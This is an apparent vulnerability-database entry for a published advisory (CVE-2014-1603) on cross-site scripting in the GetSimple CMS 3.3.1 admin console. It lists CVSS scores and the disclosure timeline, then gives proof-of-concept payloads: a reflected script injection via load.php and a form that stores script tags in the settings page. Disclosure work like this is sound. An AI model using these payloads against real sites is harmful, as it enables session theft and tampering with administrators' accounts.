GetSimple CMS 3.3.1 Cross-Site Scripting

2018.01.26
Credit: Agile
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

PoC for XSS bugs in the admin console of GetSimple CMS 3.3.1 CVE-2014-1603 by Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security Disclosure: 12/05/2014 / Last updated: 12/10/2014 Timeline: 04/11/2013 - Found bugs, produced proof of concept. 05/11/2013 - Communicated to the developer, which acknowledged receipt. 10/01/2014 - Politely asked the developer for progress, no response. 17/01/2014 - Received CVE number from MITRE. 20/01/2014 - Communicated CVE number to the developer, no response. 29/01/2014 - Politely asked the developer for progress, no response. 12/05/2014 - Public release. ============================== Reflected XSS in plugin load page: http://192.168.56.101/getsimple/admin/load.php?id=anonymous_data&param="><script>alert(1)</script> Persistent XSS in settings page: <form name="input" action="http://192.168.56.101/getsimple/admin/settings.php" method="post"> <input type="text" name="user" value=""><script>alert(1);</script>"> <input type="text" name="email" value=""><script>alert(2);</script>"> <input type="text" name="name" value=""><script>alert(3);</script>"> <input type="hidden" name="submitted" value="Save Settings"> <input type="submit" value="Submit"> </form> ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business >>


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